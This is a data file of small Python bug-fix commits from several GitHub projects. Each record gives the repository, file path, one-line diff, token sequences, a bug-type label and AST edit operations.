ISISScientificComputing/autoreduce@bad52ae61c06aac13b81b9279ceb474eff8779e8
null
null
autoreduce
c75ab44d540a5cd0c9ec4294c590a91cddc9c0fd
db9405213ad078d1b841d0c58235e0f10ea97be1
autoreduce_webapp/autoreduce_webapp/templatetags/get_user_name.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -18,7 +18,7 @@ class UserNameNode(Node): def render(self, context): usernumber = unicode(get_var(self.usernumber, context)) - person = User.object.get(username=usernumber) + person = User.objects.get(username=usernumber) return mark_safe('<a href="mailto:' + person.email + '">'+ person.first_name + " " + person.last_name + '</a>') @register.tag
person = User . object . get ( username = usernumber )
person = User . objects . get ( username = usernumber )
CHANGE_ATTRIBUTE_USED
[["Update", ["identifier:object", 3, 23, 3, 29], "objects"]]
ISISScientificComputing/autoreduce@c75ab44d540a5cd0c9ec4294c590a91cddc9c0fd
null
null
autoreduce
5156872dcb706e845d56f350661e34d1deb16813
161fcb549193af664419edc7672a88db4b978674
autoreduce_webapp/reduction_viewer/views.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -63,7 +63,7 @@ def run_queue(request): def run_list(request): context_dictionary = {} instruments = [] - with ICATCommunication(AUTH='uows',SESSION={token:request.session.get('sessionid')}) as icat: + with ICATCommunication(AUTH='uows',SESSION={'sessionid':request.session.get('sessionid')}) as icat: instrument_names = icat.get_valid_instruments(int(request.user.username)) experiments = icat.get_valid_experiments_for_instruments(int(request.user.username), instrument_names) owned_instruments = icat.get_owned_instruments(request.user.username)
with ICATCommunication ( AUTH = 'uows' , SESSION = { token : request . session . get ( 'sessionid' ) } ) as icat : instrument_names = icat . get_valid_instruments ( int ( request . user . username ) ) experiments = icat . get_valid_experiments_for_instruments ( int ( request . user . username ) , instrument_names ) owned_instruments = icat . get_owned_instruments ( request . user . username )
with ICATCommunication ( AUTH = 'uows' , SESSION = { 'sessionid' : request . session . get ( 'sessionid' ) } ) as icat : instrument_names = icat . get_valid_instruments ( int ( request . user . username ) ) experiments = icat . get_valid_experiments_for_instruments ( int ( request . user . username ) , instrument_names ) owned_instruments = icat . get_owned_instruments ( request . user . username )
SINGLE_TOKEN
[["Insert", ["pair", 3, 49, 3, 87], ["string:'sessionid'", "T"], 0], ["Delete", ["identifier:token", 3, 49, 3, 54]]]
ISISScientificComputing/autoreduce@5156872dcb706e845d56f350661e34d1deb16813
null
null
autoreduce
8cee8425cddc5ae865b87202aa6be169b323695e
9faf38fc7f0abbe11b4fa0855686812804fbcb84
autoreduce_webapp/reduction_variables/utils.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -48,7 +48,7 @@ class VariableUtils(object): return value.lower() == 'true' def get_type_string(self, value): - var_type = type(reduce_script.advanced_vars[key]).__name__ + var_type = type(value).__name__ if var_type == 'str': return "text" if var_type == 'int' or var_type == 'float':
var_type = type ( reduce_script . advanced_vars [ key ] ) . __name__
var_type = type ( value ) . __name__
SINGLE_STMT
[["Update", ["identifier:reduce_script", 3, 25, 3, 38], "value"], ["Move", ["argument_list", 3, 24, 3, 58], ["identifier:reduce_script", 3, 25, 3, 38], 1], ["Delete", [".:.", 3, 38, 3, 39]], ["Delete", ["identifier:advanced_vars", 3, 39, 3, 52]], ["Delete", ["attribute", 3, 25, 3, 52]], ["Delete", ["[:[", 3, 52, 3, 53]], ["Delete", ["identifier:key", 3, 53, 3, 56]], ["Delete", ["]:]", 3, 56, 3, 57]], ["Delete", ["subscript", 3, 25, 3, 57]]]
ISISScientificComputing/autoreduce@8cee8425cddc5ae865b87202aa6be169b323695e
null
null
autoreduce
131e313924e0c547bf748d44a190b497ad558c3b
c2da82033c59f1287008e61180cfa46a65f62dfb
autoreduce_webapp/reduction_variables/views.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -206,7 +206,7 @@ def preview_script(request, instrument, run_number): elif request.method == 'POST': script_file = InstrumentVariablesUtils().get_current_script(instrument).decode("utf-8") default_variables = InstrumentVariablesUtils().get_default_variables(instrument) - for key,value in request.POST: + for key,value in request.POST.iteritems(): if 'var-' in key: if 'var-advanced-' in key: name = key.replace('var-advanced-', '').replace('-',' ')
for key , value in request . POST : if 'var-' in key : if 'var-advanced-' in key : name = key . replace ( 'var-advanced-' , '' ) . replace ( '-' , ' ' )
for key , value in request . POST . iteritems ( ) : if 'var-' in key : if 'var-advanced-' in key : name = key . replace ( 'var-advanced-' , '' ) . replace ( '-' , ' ' )
ADD_METHOD_CALL
[["Insert", ["for_statement", 3, 9, 6, 77], ["call", "N0"], 3], ["Insert", "N0", ["attribute", "N1"], 0], ["Insert", "N0", ["argument_list", "N2"], 1], ["Move", "N1", ["attribute", 3, 26, 3, 38], 0], ["Insert", "N1", [".:.", "T"], 1], ["Insert", "N1", ["identifier:iteritems", "T"], 2], ["Insert", "N2", ["(:(", "T"], 0], ["Insert", "N2", ["):)", "T"], 1]]
ISISScientificComputing/autoreduce@131e313924e0c547bf748d44a190b497ad558c3b
null
null
autoreduce
05d2d9ff2d68b82ca36612ff39a06a27bcb6038f
46dd8405bbf7adaedc276bbfeece7429f32b3e39
autoreduce_webapp/reduction_variables/views.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -130,7 +130,7 @@ def instrument_variables(request, instrument, start=0, end=0): variable.scripts.clear() variable.save() variable.scripts.add(script) - varaible.save() + variable.save() return redirect('instrument_summary', instrument=instrument.name) else:
varaible . save ( )
variable . save ( )
SAME_FUNCTION_WRONG_CALLER
[["Update", ["identifier:varaible", 3, 13, 3, 21], "variable"]]
ISISScientificComputing/autoreduce@05d2d9ff2d68b82ca36612ff39a06a27bcb6038f
null
null
autoreduce
630d0eb5b7af651dca732139381025db30f58e65
fb048119bb90af5279708bca789290053596dea8
autoreduce_webapp/reduction_variables/views.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -178,7 +178,7 @@ def instrument_variables(request, instrument, start=0, end=0): 'queued' : ReductionRun.objects.filter(instrument=instrument, status=queued_status), 'standard_variables' : standard_vars, 'advanced_variables' : advanced_vars, - 'default_variables' : InstrumentVariablesUtils().get_default_variables(instrument=instrument.name), + 'default_variables' : InstrumentVariablesUtils().get_default_variables(instrument.name), 'run_start' : start, 'run_end' : end, 'minimum_run_start' : max(latest_completed_run, latest_processing_run)
InstrumentVariablesUtils ( ) . get_default_variables ( instrument = instrument . name ) ,
InstrumentVariablesUtils ( ) . get_default_variables ( instrument . name ) ,
SINGLE_STMT
[["Move", ["argument_list", 3, 83, 3, 111], ["attribute", 3, 95, 3, 110], 1], ["Delete", ["identifier:instrument", 3, 84, 3, 94]], ["Delete", ["=:=", 3, 94, 3, 95]], ["Delete", ["keyword_argument", 3, 84, 3, 110]]]
ISISScientificComputing/autoreduce@630d0eb5b7af651dca732139381025db30f58e65
null
null
autoreduce
d50c762a7c77d1b8d5d7bcb6cbe39b36be55f3bf
a912470a4e08750831bf2d0a64815011dc1c9c99
autoreduce_webapp/reduction_variables/views.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -165,7 +165,7 @@ def instrument_variables(request, instrument, start=0, end=0): variables = InstrumentVariable.objects.filter(instrument=instrument,start_run=start) # If no variables are saved, use the dfault ones from the reduce script - if not variables: + if not variables or not editing: editing = False InstrumentVariablesUtils().set_default_instrument_variables(instrument.name, start) variables = InstrumentVariable.objects.filter(instrument=instrument,start_run=start )
if not variables : editing = False InstrumentVariablesUtils ( ) . set_default_instrument_variables ( instrument . name , start ) variables = InstrumentVariable . objects . filter ( instrument = instrument , start_run = start )
if not variables or not editing : editing = False InstrumentVariablesUtils ( ) . set_default_instrument_variables ( instrument . name , start ) variables = InstrumentVariable . objects . filter ( instrument = instrument , start_run = start )
LESS_SPECIFIC_IF
[["Insert", ["not_operator", 3, 12, 3, 25], ["boolean_operator", "N0"], 1], ["Move", "N0", ["identifier:variables", 3, 16, 3, 25], 0], ["Insert", "N0", ["or:or", "T"], 1], ["Insert", "N0", ["not_operator", "N1"], 2], ["Insert", "N1", ["not:not", "T"], 0], ["Insert", "N1", ["identifier:editing", "T"], 1]]
ISISScientificComputing/autoreduce@d50c762a7c77d1b8d5d7bcb6cbe39b36be55f3bf
null
null
autoreduce
6e62d01cf8232f9f80aa91d9c6e30462116df42c
6f405feae688b33164d46b1a36ef02f1bc2a9192
autoreduce_webapp/reduction_variables/views.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -262,7 +262,7 @@ def run_confirmation(request, run_number, run_version=0): run_version=(highest_version+1), experiment=reduction_run.experiment, started_by=request.user.username, - status=StatusUtils.get_queued(), + status=StatusUtils().get_queued(), ) new_job.save()
experiment = reduction_run . experiment , started_by = request . user . username , status = StatusUtils . get_queued ( ) ,
experiment = reduction_run . experiment , started_by = request . user . username , status = StatusUtils ( ) . get_queued ( ) ,
SINGLE_STMT
[["Insert", ["attribute", 3, 20, 3, 42], ["call", "N0"], 0], ["Move", "N0", ["identifier:StatusUtils", 3, 20, 3, 31], 0], ["Insert", "N0", ["argument_list", "N1"], 1], ["Insert", "N1", ["(:(", "T"], 0], ["Insert", "N1", ["):)", "T"], 1]]
ISISScientificComputing/autoreduce@6e62d01cf8232f9f80aa91d9c6e30462116df42c
null
null
eclean-kernel
e04bed4163632731e9c89c62999b75ae79cf98d5
cf53ef24f2a103477abc5690f5c31f63a4f05367
ecleankernel/__main__.py
https://github.com/mgorny/eclean-kernel
true
false
true
@@ -119,7 +119,7 @@ def main(argv): if args.debug: logging.getLogger().setLevel(logging.DEBUG) else: - logging.getLogger().setLevel(logging.NOTICE) + logging.getLogger().setLevel(logging.INFO) bootfs = DummyMount() try:
logging . getLogger ( ) . setLevel ( logging . NOTICE )
logging . getLogger ( ) . setLevel ( logging . INFO )
CHANGE_ATTRIBUTE_USED
[["Update", ["identifier:NOTICE", 3, 46, 3, 52], "INFO"]]
mgorny/eclean-kernel@e04bed4163632731e9c89c62999b75ae79cf98d5
null
null
eclean-kernel
ed1ecb238a771aee9e80571b870a5fd78e3e94c0
42f34b4e334484c1484d36179ef78fbaf78cd326
setup.py
https://github.com/mgorny/eclean-kernel
true
false
false
@@ -17,7 +17,7 @@ setup( packages=find_packages(exclude=['test']), entry_points={ 'console_scripts': [ - 'eclean-kernel=ecleankernel:setuptools_main', + 'eclean-kernel=ecleankernel.__main__:setuptools_main', ], },
entry_points = { 'console_scripts' : [ 'eclean-kernel=ecleankernel:setuptools_main' , ] , } ,
entry_points = { 'console_scripts' : [ 'eclean-kernel=ecleankernel.__main__:setuptools_main' , ] , } ,
CHANGE_STRING_LITERAL
[["Update", ["string:'eclean-kernel=ecleankernel:setuptools_main'", 3, 13, 3, 57], "'eclean-kernel=ecleankernel.__main__:setuptools_main'"]]
mgorny/eclean-kernel@ed1ecb238a771aee9e80571b870a5fd78e3e94c0
null
null
eclean-kernel
5aea883cccf6a31bbc3ae1b434a88ec304fda03c
93f109e382f8a58b66c60dfd63c47d0614f41110
ecleankernel/layout/blspec.py
https://github.com/mgorny/eclean-kernel
true
false
false
@@ -28,7 +28,7 @@ class BlSpecLayout(ModuleDirLayout): name = 'blspec' - potential_dirs = ('boot/EFI', 'boot') + potential_dirs = ('boot/EFI', 'boot/efi', 'boot', 'efi') name_map = { 'initrd': KernelFileType.INITRAMFS,
potential_dirs = ( 'boot/EFI' , 'boot' )
potential_dirs = ( 'boot/EFI' , 'boot/efi' , 'boot' , 'efi' )
ADD_ELEMENTS_TO_ITERABLE
[["Insert", ["tuple", 2, 22, 2, 42], ["string:'boot/efi'", "T"], 3], ["Insert", ["tuple", 2, 22, 2, 42], [",:,", "T"], 4], ["Insert", ["tuple", 2, 22, 2, 42], [",:,", "T"], 6], ["Insert", ["tuple", 2, 22, 2, 42], ["string:'efi'", "T"], 7]]
mgorny/eclean-kernel@5aea883cccf6a31bbc3ae1b434a88ec304fda03c
null
null
eclean-kernel
48e6fce9453a64e0ccc884a4f209ddb4efd19475
5aea883cccf6a31bbc3ae1b434a88ec304fda03c
ecleankernel/__main__.py
https://github.com/mgorny/eclean-kernel
true
false
true
@@ -124,7 +124,7 @@ def main(argv: typing.List[str]) -> int: action='store_true', help='Enable debugging output') group.add_argument('-M', '--no-mount', - action='store_false', + action='store_true', help='Disable (re-)mounting /boot if necessary') group.add_argument('--no-bootloader-update', action='store_true',
help = 'Enable debugging output' ) group . add_argument ( '-M' , '--no-mount' , action = 'store_false' , help = 'Disable (re-)mounting /boot if necessary' )
help = 'Enable debugging output' ) group . add_argument ( '-M' , '--no-mount' , action = 'store_true' , help = 'Disable (re-)mounting /boot if necessary' )
CHANGE_STRING_LITERAL
[["Update", ["string:'store_false'", 3, 31, 3, 44], "'store_true'"]]
mgorny/eclean-kernel@48e6fce9453a64e0ccc884a4f209ddb4efd19475
null
null
grid-nearest-neighbours
0d9bfafb67b7a3d87bb9f772dd0ad2c1e93cc942
2a1b826a29fea208dc550eba5792f1e7044adf75
world.py
https://github.com/Fiachra-Knox/grid-nearest-neighbours
true
false
true
@@ -84,7 +84,7 @@ class World: # Special case for events on the queried point # TODO: Is this really needed? Delete if not needed. if d == 0: - e = self.grid[x[0]][x[1]] + e = self.grid[x[1]][x[0]] if e is not None: price = lowest_positive(self.events[e]) if price < math.inf:
e = self . grid [ x [ 0 ] ] [ x [ 1 ] ]
e = self . grid [ x [ 1 ] ] [ x [ 0 ] ]
SINGLE_STMT
[["Insert", ["subscript", 3, 11, 3, 32], ["subscript", "N0"], 0], ["Move", "N0", ["attribute", 3, 11, 3, 20], 0], ["Move", "N0", ["[:[", 3, 20, 3, 21], 1], ["Move", "N0", ["subscript", 3, 27, 3, 31], 2], ["Insert", "N0", ["]:]", "T"], 3], ["Delete", ["]:]", 3, 31, 3, 32]]]
Fiachra-Knox/grid-nearest-neighbours@0d9bfafb67b7a3d87bb9f772dd0ad2c1e93cc942
Fix another bug with events on queried point
[ { "sha": "2a33111b1a2748231c613416524348eeac42807c", "filename": "world.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/Fiachra-Knox/grid-nearest-neighbours/blob/0d9bfafb67b7a3d87bb9f772dd0ad2c1e93cc942/world.py", "raw_url": "https://github.com/Fiachra-Knox/grid-nearest-neighbours/raw/0d9bfafb67b7a3d87bb9f772dd0ad2c1e93cc942/world.py", "contents_url": "https://api.github.com/repos/Fiachra-Knox/grid-nearest-neighbours/contents/world.py?ref=0d9bfafb67b7a3d87bb9f772dd0ad2c1e93cc942", "patch": "@@ -84,7 +84,7 @@ def get_nearest_events(self, x, k=math.inf):\n # Special case for events on the queried point\n # TODO: Is this really needed? Delete if not needed.\n if d == 0:\n- e = self.grid[x[0]][x[1]]\n+ e = self.grid[x[1]][x[0]]\n if e is not None:\n price = lowest_positive(self.events[e])\n if price < math.inf:" } ]
HoverPractice
35ce6aadbf37bdd352da4433195c9dba63699881
7eac3419b23d82ad230b052fe9f57960122a6098
src/hoverpractice.py
https://github.com/Hyphen-ated/HoverPractice
true
false
true
@@ -208,7 +208,7 @@ def main(): del button_history[-1] if hat_num != -1: - val = joy.get_hat(hat_num) + (x, val) = joy.get_hat(hat_num) if abs(val) < 0.1: val = 0 axis_history.insert(0, val)
val = joy . get_hat ( hat_num )
( x , val ) = joy . get_hat ( hat_num )
SINGLE_STMT
[["Insert", ["assignment", 3, 13, 3, 39], ["tuple_pattern", "N0"], 0], ["Insert", "N0", ["(:(", "T"], 0], ["Insert", "N0", ["identifier:x", "T"], 1], ["Insert", "N0", [",:,", "T"], 2], ["Move", "N0", ["identifier:val", 3, 13, 3, 16], 3], ["Insert", "N0", ["):)", "T"], 4]]
Hyphen-ated/HoverPractice@35ce6aadbf37bdd352da4433195c9dba63699881
crash fix: get_hat returns an (x,y) tuple, not a number
[ { "sha": "6804a14c754b374f3ef652431068a81efe4fece1", "filename": "src/hoverpractice.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/Hyphen-ated/HoverPractice/blob/35ce6aadbf37bdd352da4433195c9dba63699881/src%2Fhoverpractice.py", "raw_url": "https://github.com/Hyphen-ated/HoverPractice/raw/35ce6aadbf37bdd352da4433195c9dba63699881/src%2Fhoverpractice.py", "contents_url": "https://api.github.com/repos/Hyphen-ated/HoverPractice/contents/src%2Fhoverpractice.py?ref=35ce6aadbf37bdd352da4433195c9dba63699881", "patch": "@@ -208,7 +208,7 @@ def getDashButton():\n del button_history[-1]\n \n if hat_num != -1:\n- val = joy.get_hat(hat_num)\n+ (x, val) = joy.get_hat(hat_num) \n if abs(val) < 0.1:\n val = 0\n axis_history.insert(0, val)" } ]
mxpro
fdb50e25b20f51dd3a41983247e48588134389ce
bb893e53e7cae5aaa1410413492d4c9f9e4d8688
apps/users/models.py
https://github.com/weqopy/mxpro
true
false
false
@@ -8,7 +8,7 @@ class UserProfile(AbstractUser): nick_name = models.CharField(max_length=50, verbose_name='昵称', default='') birthday = models.DateField(verbose_name='生日', null=True, blank=True) gender = models.CharField( - max_length=5, + max_length=6, choices=(('male', '男'), ('female', '女')), default='female') address = models.CharField(max_length=100, default='')
gender = models . CharField ( max_length = 5 , choices = ( ( 'male' , '男'), ( f emale', ' ')), default = 'female' )
gender = models . CharField ( max_length = 6 , choices = ( ( 'male' , '男'), ( f emale', ' ')), default = 'female' )
CHANGE_NUMERIC_LITERAL
[["Update", ["integer:5", 3, 20, 3, 21], "6"]]
weqopy/mxpro@fdb50e25b20f51dd3a41983247e48588134389ce
fix the length error of users.models.UserProfile.gender
[ { "sha": "21f1bba90a45056889080b29115961aaad73c0b8", "filename": "apps/users/models.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/weqopy/mxpro/blob/fdb50e25b20f51dd3a41983247e48588134389ce/apps%2Fusers%2Fmodels.py", "raw_url": "https://github.com/weqopy/mxpro/raw/fdb50e25b20f51dd3a41983247e48588134389ce/apps%2Fusers%2Fmodels.py", "contents_url": "https://api.github.com/repos/weqopy/mxpro/contents/apps%2Fusers%2Fmodels.py?ref=fdb50e25b20f51dd3a41983247e48588134389ce", "patch": "@@ -8,7 +8,7 @@ class UserProfile(AbstractUser):\n nick_name = models.CharField(max_length=50, verbose_name='昵称', default='')\n birthday = models.DateField(verbose_name='生日', null=True, blank=True)\n gender = models.CharField(\n- max_length=5,\n+ max_length=6,\n choices=(('male', '男'), ('female', '女')),\n default='female')\n address = models.CharField(max_length=100, default='')" } ]
scwc-python-package
8870b278835af6d4befc46c272182d860c7bb501
4112cac2738d1d2122485c8d1d2b2b516844c123
scwc/scwc.py
https://github.com/benevolent0505/scwc-python-package
true
false
true
@@ -81,7 +81,7 @@ class SCWC(BaseEstimator, TransformerMixin): continue tmp_selected_index = line.split()[-1] - if tmp_selected_index in ('feature', 'patchedFeature'): + if tmp_selected_index in ('feature', 'patchFeature'): continue selected_index = tmp_selected_index.strip('att_')
if tmp_selected_index in ( 'feature' , 'patchedFeature' ) : continue
if tmp_selected_index in ( 'feature' , 'patchFeature' ) : continue
CHANGE_STRING_LITERAL
[["Update", ["string:'patchedFeature'", 3, 50, 3, 66], "'patchFeature'"]]
benevolent0505/scwc-python-package@8870b278835af6d4befc46c272182d860c7bb501
fix typo
[ { "sha": "57f7f4e24ecaeb31bdbf71f73a30a9785620ee4e", "filename": "scwc/scwc.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/benevolent0505/scwc-python-package/blob/8870b278835af6d4befc46c272182d860c7bb501/scwc%2Fscwc.py", "raw_url": "https://github.com/benevolent0505/scwc-python-package/raw/8870b278835af6d4befc46c272182d860c7bb501/scwc%2Fscwc.py", "contents_url": "https://api.github.com/repos/benevolent0505/scwc-python-package/contents/scwc%2Fscwc.py?ref=8870b278835af6d4befc46c272182d860c7bb501", "patch": "@@ -81,7 +81,7 @@ def _get_selected_indices(self, logfile):\n continue\n \n tmp_selected_index = line.split()[-1]\n- if tmp_selected_index in ('feature', 'patchedFeature'):\n+ if tmp_selected_index in ('feature', 'patchFeature'):\n continue\n \n selected_index = tmp_selected_index.strip('att_')" } ]
pytorch_toolbox
8e6ae4f80d5210737765b2316cc5b6e4c3c4f523
c9bb5f21d6adaa94921610b415ea7ceb6714e111
focal_loss_multiclass.py
https://github.com/doiken23/pytorch_toolbox
true
false
true
@@ -26,7 +26,7 @@ class MultiClassFocalLoss(nn.Module): if target.dim()>2: target = target.view(target.size(0), target.size(1), -1) target = target.transpose(1,2) - target = target.contiguous().view(-1, target.size(2)).squeeze() + target = target.contiguous().view(-1, target.size(2)) else: target = target.view(-1, 1)
target = target . contiguous ( ) . view ( - 1 , target . size ( 2 ) ) . squeeze ( )
target = target . contiguous ( ) . view ( - 1 , target . size ( 2 ) )
SINGLE_STMT
[["Delete", [".:.", 3, 66, 3, 67]], ["Delete", ["identifier:squeeze", 3, 67, 3, 74]], ["Delete", ["attribute", 3, 22, 3, 74]], ["Delete", ["(:(", 3, 74, 3, 75]], ["Delete", ["):)", 3, 75, 3, 76]], ["Delete", ["argument_list", 3, 74, 3, 76]]]
doiken23/pytorch_toolbox@8e6ae4f80d5210737765b2316cc5b6e4c3c4f523
fix the dimension bug
[ { "sha": "49af1c67f950cc03d096aebfd092b4ae3929e4de", "filename": "focal_loss_multiclass.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/doiken23/pytorch_toolbox/blob/8e6ae4f80d5210737765b2316cc5b6e4c3c4f523/focal_loss_multiclass.py", "raw_url": "https://github.com/doiken23/pytorch_toolbox/raw/8e6ae4f80d5210737765b2316cc5b6e4c3c4f523/focal_loss_multiclass.py", "contents_url": "https://api.github.com/repos/doiken23/pytorch_toolbox/contents/focal_loss_multiclass.py?ref=8e6ae4f80d5210737765b2316cc5b6e4c3c4f523", "patch": "@@ -26,7 +26,7 @@ def forward(self, input, target):\n if target.dim()>2:\n target = target.view(target.size(0), target.size(1), -1)\n target = target.transpose(1,2)\n- target = target.contiguous().view(-1, target.size(2)).squeeze()\n+ target = target.contiguous().view(-1, target.size(2))\n else:\n target = target.view(-1, 1)\n " } ]
pytorch_toolbox
2edb9bbc7ab6851a0c3ec3370a64a6ace9f9a753
3e8aedadbe892cdf476a1e3eab918694c4bb4f70
numpy_transforms.py
https://github.com/doiken23/pytorch_toolbox
true
false
true
@@ -19,7 +19,7 @@ class Numpy_Flip(object): class Numpy_Rotate(object): - def ___init__(sel):f + def __init__(sel):f pass def __call__(self, image_array):
def ___init__ ( sel ) : f
def __init__ ( sel ) : f
SINGLE_TOKEN
[["Update", ["identifier:___init__", 3, 9, 3, 18], "__init__"]]
doiken23/pytorch_toolbox@2edb9bbc7ab6851a0c3ec3370a64a6ace9f9a753
fix the small bug
[ { "sha": "2647b4c4afcdcb0fa3bbb910c2b4f2f725daca79", "filename": "numpy_transforms.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/doiken23/pytorch_toolbox/blob/2edb9bbc7ab6851a0c3ec3370a64a6ace9f9a753/numpy_transforms.py", "raw_url": "https://github.com/doiken23/pytorch_toolbox/raw/2edb9bbc7ab6851a0c3ec3370a64a6ace9f9a753/numpy_transforms.py", "contents_url": "https://api.github.com/repos/doiken23/pytorch_toolbox/contents/numpy_transforms.py?ref=2edb9bbc7ab6851a0c3ec3370a64a6ace9f9a753", "patch": "@@ -19,7 +19,7 @@ def __call__(self, image_array, p=0.5):\n \n class Numpy_Rotate(object):\n \n- def ___init__(sel):f\n+ def __init__(sel):f\n pass\n \n def __call__(self, image_array):" } ]
pytorch_toolbox
760c51f958d8a1117e463a8c22ef88e8c047cba7
affa9ff98c6e4262998ff2a3676b9cff6ce6a8da
utils.py
https://github.com/doiken23/pytorch_toolbox
true
false
true
@@ -1,6 +1,6 @@ import csv -def writeout_augs(args, out_dir): +def writeout_args(args, out_dir): fout = open(Path(out_dir).joinpath('arguments.csv', "wt")) csvout = csv.writer(fout) print('*' * 20)
def writeout_augs ( args , out_dir ) : fout = open ( Path ( out_dir ) . joinpath ( 'arguments.csv' , "wt" ) ) csvout = csv . writer ( fout ) print ( '*' * 20 )
def writeout_args ( args , out_dir ) : fout = open ( Path ( out_dir ) . joinpath ( 'arguments.csv' , "wt" ) ) csvout = csv . writer ( fout ) print ( '*' * 20 )
SINGLE_TOKEN
[["Update", ["identifier:writeout_augs", 2, 5, 2, 18], "writeout_args"]]
doiken23/pytorch_toolbox@760c51f958d8a1117e463a8c22ef88e8c047cba7
[fix] typo
[ { "sha": "7d1282912395d26f2da01fe8f9608610f2703eed", "filename": "utils.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/doiken23/pytorch_toolbox/blob/760c51f958d8a1117e463a8c22ef88e8c047cba7/utils.py", "raw_url": "https://github.com/doiken23/pytorch_toolbox/raw/760c51f958d8a1117e463a8c22ef88e8c047cba7/utils.py", "contents_url": "https://api.github.com/repos/doiken23/pytorch_toolbox/contents/utils.py?ref=760c51f958d8a1117e463a8c22ef88e8c047cba7", "patch": "@@ -1,6 +1,6 @@\n import csv\n \n-def writeout_augs(args, out_dir):\n+def writeout_args(args, out_dir):\n fout = open(Path(out_dir).joinpath('arguments.csv', \"wt\"))\n csvout = csv.writer(fout)\n print('*' * 20)" } ]
CarND-SIP
43703ca982ff3b7f42282c2555f6c6712ad933a7
f180e6a7a5b8e33e701ebd46592438849be5224d
ros/src/twist_controller/dbw_node.py
https://github.com/OrlMat/CarND-SIP
true
false
true
@@ -111,7 +111,7 @@ class DBWNode(object): throttle, brake, steering = self.controller.control( self.twist_cmd, self.current_velocity, - self.dbw_enabled) + sample_time) self.publish(throttle, brake, steering)
throttle , brake , steering = self . controller . control ( self . twist_cmd , self . current_velocity , self . dbw_enabled )
throttle , brake , steering = self . controller . control ( self . twist_cmd , self . current_velocity , sample_time )
SINGLE_STMT
[["Update", ["identifier:self", 3, 21, 3, 25], "sample_time"], ["Move", ["argument_list", 0, 68, 3, 38], ["identifier:self", 3, 21, 3, 25], 5], ["Delete", [".:.", 3, 25, 3, 26]], ["Delete", ["identifier:dbw_enabled", 3, 26, 3, 37]], ["Delete", ["attribute", 3, 21, 3, 37]]]
OrlMat/CarND-SIP@43703ca982ff3b7f42282c2555f6c6712ad933a7
Fixing bug in control function call.
[ { "sha": "6182f3338d367925d5ac63cd413e2dd110150855", "filename": "ros/src/twist_controller/dbw_node.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/OrlMat/CarND-SIP/blob/43703ca982ff3b7f42282c2555f6c6712ad933a7/ros%2Fsrc%2Ftwist_controller%2Fdbw_node.py", "raw_url": "https://github.com/OrlMat/CarND-SIP/raw/43703ca982ff3b7f42282c2555f6c6712ad933a7/ros%2Fsrc%2Ftwist_controller%2Fdbw_node.py", "contents_url": "https://api.github.com/repos/OrlMat/CarND-SIP/contents/ros%2Fsrc%2Ftwist_controller%2Fdbw_node.py?ref=43703ca982ff3b7f42282c2555f6c6712ad933a7", "patch": "@@ -111,7 +111,7 @@ def loop(self):\n throttle, brake, steering = self.controller.control(\n self.twist_cmd,\n self.current_velocity,\n- self.dbw_enabled)\n+ sample_time)\n \n self.publish(throttle, brake, steering)\n " } ]
ROSE
3ac06b35bf409302617b756471b34ac709fc4656
1e2df18b206792bd24fc801045f12cf545d585ee
client/game.py
https://github.com/sleviim/ROSE
true
false
true
@@ -20,7 +20,7 @@ class Game(object): self.init() self.looper = task.LoopingCall(self.tick) - frame_delay = 1 / config.frame_rate + frame_delay = 1.0 / config.frame_rate self.looper.start(frame_delay) def init_pygame_resources(self):
frame_delay = 1 / config . frame_rate
frame_delay = 1.0 / config . frame_rate
CHANGE_CONSTANT_TYPE
[["Insert", ["binary_operator", 3, 23, 3, 44], ["float:1.0", "T"], 0], ["Delete", ["integer:1", 3, 23, 3, 24]]]
sleviim/ROSE@3ac06b35bf409302617b756471b34ac709fc4656
Fix frame delay calculation so we don't hog the cpu
[ { "sha": "50687b1ad9cad93fe252c24f05585b20acdbd436", "filename": "client/game.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/sleviim/ROSE/blob/3ac06b35bf409302617b756471b34ac709fc4656/client%2Fgame.py", "raw_url": "https://github.com/sleviim/ROSE/raw/3ac06b35bf409302617b756471b34ac709fc4656/client%2Fgame.py", "contents_url": "https://api.github.com/repos/sleviim/ROSE/contents/client%2Fgame.py?ref=3ac06b35bf409302617b756471b34ac709fc4656", "patch": "@@ -20,7 +20,7 @@ def __init__(self, client):\n \n self.init()\n self.looper = task.LoopingCall(self.tick)\n- frame_delay = 1 / config.frame_rate\n+ frame_delay = 1.0 / config.frame_rate\n self.looper.start(frame_delay)\n \n def init_pygame_resources(self):" } ]
ROSE
e1565d0515051cf137af3cf4f7e6af26e7747524
df559fbc2880cd4777b59b9594403665333a24ee
server/game.py
https://github.com/sleviim/ROSE
true
false
true
@@ -109,5 +109,5 @@ class Game(object): # Set player speed - speed = config.HEIGHT / 2 + player.life - config.MAX_LIVES + speed = config.HEIGHT / 2 - player.life + config.MAX_LIVES player.speed = min(config.HEIGHT - 1, max(0, speed))
speed = config . HEIGHT / 2 + player . life - config . MAX_LIVES
speed = config . HEIGHT / 2 - player . life + config . MAX_LIVES
SINGLE_STMT
[["Insert", ["binary_operator", 3, 21, 3, 71], ["+:+", "T"], 1], ["Insert", ["binary_operator", 3, 21, 3, 52], ["-:-", "T"], 1], ["Delete", ["+:+", 3, 39, 3, 40]], ["Delete", ["-:-", 3, 53, 3, 54]]]
sleviim/ROSE@e1565d0515051cf137af3cf4f7e6af26e7747524
Fix player speed Faster cards have lower speed values since the matrix origin is at the top left.
